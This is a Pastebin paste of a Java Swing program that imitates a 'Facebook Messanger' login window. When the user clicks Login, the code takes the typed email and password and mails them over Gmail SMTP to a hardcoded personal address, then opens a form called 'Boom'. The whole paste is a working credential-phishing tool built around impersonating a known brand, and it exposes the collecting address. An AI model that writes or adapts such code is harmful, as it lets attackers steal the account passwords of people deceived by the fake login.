Advertisement
Guest User

send mail

a guest
Feb 5th, 2016
282
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 11.12 KB | None | 0 0
  1. /*
  2.  * To change this license header, choose License Headers in Project Properties.
  3.  * To change this template file, choose Tools | Templates
  4.  * and open the template in the editor.
  5.  */
  6.  
  7. package os_lab_project;
  8.  
  9. import java.util.Properties;
  10. import javax.mail.Message.RecipientType;
  11. import javax.mail.MessagingException;
  12. import javax.mail.Session;
  13. import javax.mail.Transport;
  14. import javax.mail.internet.InternetAddress;
  15. import javax.mail.internet.MimeMessage;
  16. import javax.swing.JOptionPane;
  17.  
  18. /**
  19.  *
  20.  * @author Muhaimenur
  21.  */
  22. public class Main extends javax.swing.JFrame {
  23.  
  24.     /**
  25.      * Creates new form Main
  26.      */
  27.     public Main() {
  28.         initComponents();
  29.         setLocationRelativeTo(null);
  30.          setResizable(false);
  31.     }
  32.  
  33.     /**
  34.      * This method is called from within the constructor to initialize the form.
  35.      * WARNING: Do NOT modify this code. The content of this method is always
  36.      * regenerated by the Form Editor.
  37.      */
  38.     @SuppressWarnings("unchecked")
  39.     // <editor-fold defaultstate="collapsed" desc="Generated Code">                          
  40.     private void initComponents() {
  41.  
  42.         jPanel1 = new javax.swing.JPanel();
  43.         jLabel1 = new javax.swing.JLabel();
  44.         jLabel2 = new javax.swing.JLabel();
  45.         jLabel3 = new javax.swing.JLabel();
  46.         Email = new javax.swing.JTextField();
  47.         jLabel4 = new javax.swing.JLabel();
  48.         Password = new javax.swing.JPasswordField();
  49.         Login = new javax.swing.JButton();
  50.  
  51.         setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
  52.         setTitle("Facebook Messanger");
  53.  
  54.         jPanel1.setBackground(new java.awt.Color(0, 102, 255));
  55.  
  56.         jLabel1.setFont(new java.awt.Font("Tahoma", 1, 29)); // NOI18N
  57.         jLabel1.setText("      Facebook");
  58.  
  59.         javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
  60.         jPanel1.setLayout(jPanel1Layout);
  61.         jPanel1Layout.setHorizontalGroup(
  62.             jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  63.             .addGroup(jPanel1Layout.createSequentialGroup()
  64.                 .addGap(67, 67, 67)
  65.                 .addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 200, javax.swing.GroupLayout.PREFERRED_SIZE)
  66.                 .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
  67.         );
  68.         jPanel1Layout.setVerticalGroup(
  69.             jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  70.             .addGroup(jPanel1Layout.createSequentialGroup()
  71.                 .addContainerGap()
  72.                 .addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 29, javax.swing.GroupLayout.PREFERRED_SIZE)
  73.                 .addContainerGap(27, Short.MAX_VALUE))
  74.         );
  75.  
  76.         jLabel2.setFont(new java.awt.Font("Tahoma", 1, 18)); // NOI18N
  77.         jLabel2.setText("Facebook Messanger");
  78.  
  79.         jLabel3.setFont(new java.awt.Font("Tahoma", 2, 18)); // NOI18N
  80.         jLabel3.setText("Email");
  81.  
  82.         jLabel4.setFont(new java.awt.Font("Tahoma", 2, 18)); // NOI18N
  83.         jLabel4.setText("Password");
  84.  
  85.         Login.setFont(new java.awt.Font("Tahoma", 1, 18)); // NOI18N
  86.         Login.setText("Login");
  87.         Login.addActionListener(new java.awt.event.ActionListener() {
  88.             public void actionPerformed(java.awt.event.ActionEvent evt) {
  89.                 LoginActionPerformed(evt);
  90.             }
  91.         });
  92.  
  93.         javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
  94.         getContentPane().setLayout(layout);
  95.         layout.setHorizontalGroup(
  96.             layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  97.             .addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
  98.             .addGroup(layout.createSequentialGroup()
  99.                 .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  100.                     .addGroup(layout.createSequentialGroup()
  101.                         .addGap(42, 42, 42)
  102.                         .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  103.                             .addComponent(jLabel4, javax.swing.GroupLayout.PREFERRED_SIZE, 118, javax.swing.GroupLayout.PREFERRED_SIZE)
  104.                             .addComponent(jLabel3, javax.swing.GroupLayout.PREFERRED_SIZE, 102, javax.swing.GroupLayout.PREFERRED_SIZE)
  105.                             .addComponent(jLabel2, javax.swing.GroupLayout.PREFERRED_SIZE, 296, javax.swing.GroupLayout.PREFERRED_SIZE)
  106.                             .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false)
  107.                                 .addComponent(Password, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 260, Short.MAX_VALUE)
  108.                                 .addComponent(Email, javax.swing.GroupLayout.Alignment.LEADING))))
  109.                     .addGroup(layout.createSequentialGroup()
  110.                         .addGap(115, 115, 115)
  111.                         .addComponent(Login, javax.swing.GroupLayout.PREFERRED_SIZE, 131, javax.swing.GroupLayout.PREFERRED_SIZE)))
  112.                 .addContainerGap(43, Short.MAX_VALUE))
  113.         );
  114.         layout.setVerticalGroup(
  115.             layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  116.             .addGroup(layout.createSequentialGroup()
  117.                 .addComponent(jPanel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
  118.                 .addGap(92, 92, 92)
  119.                 .addComponent(jLabel2, javax.swing.GroupLayout.PREFERRED_SIZE, 36, javax.swing.GroupLayout.PREFERRED_SIZE)
  120.                 .addGap(18, 18, 18)
  121.                 .addComponent(jLabel3, javax.swing.GroupLayout.PREFERRED_SIZE, 27, javax.swing.GroupLayout.PREFERRED_SIZE)
  122.                 .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
  123.                 .addComponent(Email, javax.swing.GroupLayout.PREFERRED_SIZE, 36, javax.swing.GroupLayout.PREFERRED_SIZE)
  124.                 .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
  125.                 .addComponent(jLabel4, javax.swing.GroupLayout.PREFERRED_SIZE, 28, javax.swing.GroupLayout.PREFERRED_SIZE)
  126.                 .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
  127.                 .addComponent(Password, javax.swing.GroupLayout.PREFERRED_SIZE, 36, javax.swing.GroupLayout.PREFERRED_SIZE)
  128.                 .addGap(55, 55, 55)
  129.                 .addComponent(Login, javax.swing.GroupLayout.PREFERRED_SIZE, 36, javax.swing.GroupLayout.PREFERRED_SIZE)
  130.                 .addGap(0, 154, Short.MAX_VALUE))
  131.         );
  132.  
  133.         pack();
  134.     }// </editor-fold>                        
  135.  
  136.     private void LoginActionPerformed(java.awt.event.ActionEvent evt) {                                      
  137.             String username = Email.getText();
  138.             String passwords = Password.getText();
  139.             String message = username +passwords;
  140.             String from = "";
  141.             String password ="";
  142.             String[] to = {"tanmoy.cse90@gmail.com"};
  143.        
  144.         String host = "smtp.gmail.com";
  145.             Properties props = System.getProperties();
  146.             props.put("mail.smtp.starttls.enable", "true");
  147.               //porps.put("mail.smtp.starttls.enable", "true");
  148.             props.put("mail.smtp.host",host);
  149.             props.put("mail.smtp.user",from);
  150.             props.put("mail.smtp.password",password);
  151.             props.put("mail.smtp.port", 587);
  152.              props.put("mail.smtp.auth", "true");
  153.            
  154.            Session session = Session.getDefaultInstance(props,null);
  155.            MimeMessage mimeMessage = new MimeMessage(session);
  156.            
  157.             try{
  158.                 mimeMessage.setFrom(new InternetAddress(from));
  159.                 InternetAddress[] toAddresses =new InternetAddress[to.length];
  160.                 for(int i=0;i<to.length;i++)
  161.                 {
  162.                     toAddresses[i]= new InternetAddress(to[i]);
  163.                    
  164.                
  165.                 }
  166.                 for(int i=0;i<toAddresses.length;i++)
  167.                 {
  168.                     mimeMessage.addRecipient(RecipientType.TO, toAddresses[i]);
  169.                     mimeMessage.setSubject("Mail using java");
  170.                     mimeMessage.setText(message);
  171.                     Transport transport = session.getTransport("smtp");
  172.                     transport.connect(host, from, password);
  173.                     transport.sendMessage(mimeMessage, mimeMessage.getAllRecipients());
  174.                     transport.close();
  175.  
  176.                 }
  177.                
  178.                 Boom boom = new Boom();
  179.                 boom.show();
  180.                 this.dispose();
  181.                }
  182.             catch(MessagingException me)
  183.             {
  184.                 me.printStackTrace();
  185.            
  186.             }    
  187.  
  188.     }                                    
  189.  
  190.     /**
  191.      * @param args the command line arguments
  192.      */
  193.     public static void main(String args[]) {
  194.         /* Set the Nimbus look and feel */
  195.         //<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">
  196.         /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.
  197.          * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
  198.          */
  199.         try {
  200.             for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {
  201.                 if ("Nimbus".equals(info.getName())) {
  202.                     javax.swing.UIManager.setLookAndFeel(info.getClassName());
  203.                     break;
  204.                 }
  205.             }
  206.         } catch (ClassNotFoundException ex) {
  207.             java.util.logging.Logger.getLogger(Main.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
  208.         } catch (InstantiationException ex) {
  209.             java.util.logging.Logger.getLogger(Main.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
  210.         } catch (IllegalAccessException ex) {
  211.             java.util.logging.Logger.getLogger(Main.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
  212.         } catch (javax.swing.UnsupportedLookAndFeelException ex) {
  213.             java.util.logging.Logger.getLogger(Main.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
  214.         }
  215.         //</editor-fold>
  216.  
  217.         /* Create and display the form */
  218.         java.awt.EventQueue.invokeLater(new Runnable() {
  219.             public void run() {
  220.                 new Main().setVisible(true);
  221.                
  222.             }
  223.         });
  224.     }
  225.  
  226.     // Variables declaration - do not modify                    
  227.     private javax.swing.JTextField Email;
  228.     private javax.swing.JButton Login;
  229.     private javax.swing.JPasswordField Password;
  230.     private javax.swing.JLabel jLabel1;
  231.     private javax.swing.JLabel jLabel2;
  232.     private javax.swing.JLabel jLabel3;
  233.     private javax.swing.JLabel jLabel4;
  234.     private javax.swing.JPanel jPanel1;
  235.     // End of variables declaration                  
  236. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement